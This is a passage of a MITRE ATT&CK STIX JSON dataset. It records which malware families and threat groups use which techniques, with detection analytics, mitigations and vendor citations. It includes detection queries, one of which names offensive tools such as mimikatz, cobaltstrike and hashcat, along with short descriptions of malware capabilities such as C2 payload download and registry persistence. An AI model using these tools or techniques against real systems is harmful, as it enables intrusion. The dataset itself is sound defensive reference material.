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            "description": "[Misdat](https://attack.mitre.org/software/S0083) has collected files and data from a compromised host.(Citation: Cylance Dust Storm)",
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                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
                    "url": "https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage"
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            "description": "[Gomir](https://attack.mitre.org/software/S1198) uses Base64-encoded content in HTTP communications to command and control infrastructure.(Citation: Symantec Troll Stealer 2024)",
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                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.(Citation: cobaltstrike manual)",
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                    "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back"
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                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
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                {
                    "source_name": "Palo Alto Latrodectus Activity June 2024",
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                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.",
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
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                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
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                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
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                    "source_name": "Palo Alto OilRig Oct 2016",
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                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
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            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes the <code>netstat -ano</code> command.(Citation: Palo Alto Comnie)",
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                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
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            "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the JAR/ZIP file format for exfiltrated files.(Citation: Mandiant Pulse Secure Update May 2021)",
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                    "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.",
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            ],
            "modified": "2025-04-28T15:53:34.022Z",
            "description": "[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>getinfo</code>  to identify the username on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70c0fd33-8091-4e58-896b-0be55429ee91",
            "created": "2022-05-05T17:50:25.030Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET Gelsemium June 2021",
                    "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:23:07.861Z",
            "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use DNS in communication with C2.(Citation: ESET Gelsemium June 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70c290d2-6dfc-47bf-9901-c320798989fb",
            "created": "2024-02-14T20:39:43.549Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Trellix Darkgate 2023",
                    "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.",
                    "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"
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            ],
            "modified": "2025-04-16T22:23:08.058Z",
            "description": "[DarkGate](https://attack.mitre.org/software/S1111) executes a Windows Batch script during installation that creases a randomly-named directory in the <code>C:\\\\</code> root directory that copies and renames the legitimate Windows <curl>curl</code> command to this new location.(Citation: Trellix Darkgate 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52",
            "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
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            "x_mitre_deprecated": false,
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        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70c29cd1-53a2-48a6-8f94-515e7812013b",
            "created": "2021-03-01T21:23:22.795Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CISA AppleJeus Feb 2021",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:53:34.381Z",
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has collected the victim host information after infection.(Citation: CISA AppleJeus Feb 2021)",
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            "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858",
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            "type": "relationship",
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            "id": "relationship--70c5c2c4-9971-42d8-a94a-8b46ffec3a80",
            "created": "2023-08-11T20:52:30.473Z",
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            "description": "Monitor for newly executed processes that may match or approximate the name or location of legitimate files or resources when naming/placing them. Looks for mismatches between process names and their image paths.Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g.\u00a0`lsass.exe`,\u00a0`svchost.exe`, etc).\nThere are several sub-techniques, but this analytic focuses on\u00a0[Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)\u00a0only.\n\nNote: With process monitoring, hunt for processes matching these criteria:\n\n- process name is\u00a0`svchost.exe`,\u00a0`smss.exe`,\u00a0`wininit.exe`,\u00a0`taskhost.exe`, etc.\n- process path is not\u00a0`C:\\Windows\\System32\\`\u00a0or\u00a0`C:\\Windows\\SysWow64\\`\n\nExamples (true positive): `C:\\Users\\administrator\\svchost.exe`\n\nTo make sure the rule doesn\u2019t miss cases where the executable would be started from a sub-folder of these locations, the entire path is checked for the process path. The below example should be considered as suspicious: `C:\\Windows\\System32\\srv\\svchost.exe`\n\nAnalytic 1 - Common Windows Process Masquerading\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")\nAND ( (Image=svchost.exe AND (image_path!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\" OR process_path!=\"C:\\\\Windows\\\\SysWow64\\\\svchost.exe\"))\n  OR (Image=\"*smss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\smss.exe\")\n  OR (Image=\"wininit.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\")\n  OR (Image=\"taskhost.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\taskhost.exe\")\n  OR (Image=\"lasass.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsass.exe\")\n  OR (Image=\"winlogon.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\")\n  OR (Image=\"csrss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\csrss.exe\")\n  OR (Image=\"services.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\services.exe\")\n  OR (Image=\"lsm.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsm.exe\")\n  OR (Image=\"explorer.exe\" AND image_path!=\"C:\\\\Windows\\\\explorer.exe\")</code>",
            "relationship_type": "detects",
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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            "x_mitre_deprecated": false,
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        },
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            "spec_version": "2.1",
            "id": "relationship--70c9262b-0a90-4c78-ba50-b968aa056246",
            "created": "2022-04-28T16:06:49.395Z",
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            "revoked": false,
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:23:08.697Z",
            "description": "Monitor for newly executed processes that may indicate attempts to exploit vulnerabilities for credential access.\n\nAnalytic 1 - Unexpected process creation related to exploitation tools or techniques.\n\n<code> (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688) OR \n(index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1) OR \n(index=os sourcetype=\"linux_secure\" action=\"execve\") OR \n(index=os sourcetype=\"macos_secure\" event_type=\"execve\") | where match(Image, \"(?i)(msfconsole|metasploit|mimikatz|powersploit|empire|cobaltstrike|responder|kerberoast|john|hashcat|rcrack|hydra|medusa|ncrack|patator)\")</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70ceb05c-ed86-4b51-bde0-2455662c30b7",
            "created": "2022-02-01T15:11:34.836Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:23:08.886Z",
            "description": "(Citation: MSTIC Nobelium Oct 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70d06758-46ce-47b9-a3af-ff341d210a4a",
            "created": "2024-09-17T18:39:32.036Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bitsight Latrodectus June 2024",
                    "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.",
                    "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back"
                },
                {
                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
                },
                {
                    "source_name": "Elastic Latrodectus May 2024",
                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
                    "url": "https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:23:09.084Z",
            "description": "[Latrodectus](https://attack.mitre.org/software/S1160) can download and execute PEs, DLLs, and shellcode from C2.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--76fde8df-3495-47c9-82eb-125c4f7fb621",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
                },
                {
                    "source_name": "RiskIQ Cobalt Jan 2018",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "url": "https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                }
            ],
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            "modified": "2025-04-16T22:23:09.285Z",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42",
            "created": "2019-06-24T16:21:04.539Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-28T15:53:35.051Z",
            "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.",
            "relationship_type": "mitigates",
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            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
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            "x_mitre_deprecated": false,
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        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f",
            "created": "2017-12-14T16:46:06.044Z",
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                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
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            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\\Environment\\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)",
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            "revoked": false,
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                {
                    "source_name": "SentinelOne Agrius 2021",
                    "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.",
                    "url": "https://assets.sentinelone.com/sentinellabs/evol-agrius"
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            ],
            "modified": "2025-04-16T22:23:09.882Z",
            "description": "[IPsec Helper](https://attack.mitre.org/software/S1132) can make arbitrary changes to registry keys based on provided input.(Citation: SentinelOne Agrius 2021)",
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            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
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                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
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                    "description": "Pedro Tavares (Seguran\u00e7a Inform\u00e1tica). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.",
                    "url": "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"
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                    "source_name": "SCILabs Malteiro 2021",
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                    "description": "S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.",
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            "description": "[JSS Loader](https://attack.mitre.org/software/S0648) can download and execute VBScript files.(Citation: CrowdStrike Carbon Spider August 2021)",
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                    "source_name": "Malwarebytes Konni Aug 2021",
                    "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.",
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            "description": "[Stuxnet](https://attack.mitre.org/software/S0603) can delete OLE Automation and SQL stored procedures used to store malicious payloads.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)",
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                    "source_name": "Trustwave BlackByte 2021",
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                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
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                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "url": "https://github.com/n1nj4sec/pupy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:54:35.736Z",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75d297b3-bd2e-4815-9c28-649f7f1d4a62",
            "created": "2020-10-27T19:26:38.292Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "US-CERT BLINDINGCAN Aug 2020",
                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:54:35.920Z",
            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been packed with the UPX packer.(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75d3d753-2276-4409-bf3d-df5e299ceb16",
            "created": "2022-03-30T14:26:51.832Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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            ],
            "modified": "2025-04-16T22:24:35.000Z",
            "description": "Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of Accessibility Features. ",
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            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75db2ffc-f33f-4735-a3eb-139d959b0b50",
            "created": "2021-10-08T15:22:00.048Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Checkpoint IndigoZebra July 2021",
                    "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:54:36.188Z",
            "description": "[BoxCaon](https://attack.mitre.org/software/S0651) can upload files from a compromised host.(Citation: Checkpoint IndigoZebra July 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75dcfc1b-016e-44ac-97c9-5a2eb3b76e50",
            "created": "2024-03-25T21:02:12.884Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "CISA Scattered Spider Advisory November 2023",
                    "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"
                },
                {
                    "source_name": "MSTIC Octo Tempest Operations October 2023",
                    "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"
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            ],
            "modified": "2025-04-16T22:24:35.394Z",
            "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) Spider enumerates a target organization for files and directories of interest, including source code.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75e01f6a-9f45-4db2-a79d-a21453b6d83f",
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                {
                    "source_name": "CISA SoreFang July 2016",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:54:36.461Z",
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing [Systeminfo](https://attack.mitre.org/software/S0096).(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75e83708-7c1e-4124-b531-abac08a7523e",
            "created": "2022-03-30T14:26:51.849Z",
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            ],
            "modified": "2025-04-28T15:54:36.651Z",
            "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75ec1c68-2e16-41fd-b1e6-8606534bbc2b",
            "created": "2022-03-30T14:26:51.849Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2025-04-28T15:54:36.829Z",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75ee501b-1283-4ccb-8999-00239eda55fb",
            "created": "2025-01-24T21:58:59.526Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Huntress LightSpy macOS 2024",
                    "description": "Stuart Ashenbrenner, Alden Schmidt. (2024, April 25). LightSpy Malware Variant Targeting macOS. Retrieved January 3, 2025.",
                    "url": "https://www.huntress.com/blog/lightspy-malware-variant-targeting-macos"
                }
            ],
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            ],
            "modified": "2025-04-16T22:24:35.788Z",
            "description": "[LightSpy](https://attack.mitre.org/software/S1185) uses the `NSFileManager` to move, create and delete files. [LightSpy](https://attack.mitre.org/software/S1185) can also use the assembly `bt` instruction to determine a file's executable permissions.(Citation: Huntress LightSpy macOS 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--5b5d1e6c-e7de-4b46-ab8f-8556e8745927",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0",
            "created": "2020-05-13T12:42:06.757Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
                },
                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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            ],
            "object_marking_refs": [
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            ],
